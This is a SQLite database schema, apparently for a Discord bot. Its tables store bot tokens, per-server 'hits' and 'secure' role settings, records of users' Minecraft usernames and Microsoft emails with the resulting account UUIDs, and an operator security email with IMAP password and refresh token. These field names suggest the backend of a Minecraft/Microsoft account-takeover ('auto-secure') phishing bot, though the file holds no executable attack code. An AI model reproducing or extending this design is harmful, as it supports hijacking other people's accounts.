CREATE TABLE IF NOT EXISTS bots (
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  token TEXT NOT NULL,
  label TEXT,
  created_at TEXT DEFAULT (datetime('now'))
);
CREATE TABLE IF NOT EXISTS guild_config (
  guild_id INTEGER PRIMARY KEY,
  bot_id INTEGER REFERENCES bots(id),
  logs_channel_id INTEGER,
  hits_channel_id INTEGER,
  secure_role_id INTEGER,
  created_at TEXT DEFAULT (datetime('now'))
);
CREATE TABLE IF NOT EXISTS secure_attempts (
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  guild_id INTEGER,
  discord_user_id INTEGER,
  method TEXT,
  mc_username_entered TEXT,
  ms_email TEXT,
  status TEXT DEFAULT 'pending',
  fail_reason TEXT,
  result_mc_username TEXT,
  result_mc_uuid TEXT,
  started_at TEXT DEFAULT (datetime('now')),
  completed_at TEXT
);
CREATE TABLE IF NOT EXISTS instance_config (
  id INTEGER PRIMARY KEY CHECK (id = 1),
  instance_id TEXT,
  security_email TEXT,
  imap_host TEXT, imap_port INTEGER, imap_user TEXT, imap_password TEXT,
  imap_auth TEXT DEFAULT 'password', imap_provider TEXT, imap_refresh_token TEXT,
  telemetry_enabled INTEGER DEFAULT 0,
  telemetry_url TEXT,
  proxy_url TEXT,
  build_version TEXT,
  created_at TEXT DEFAULT (datetime('now'))
);
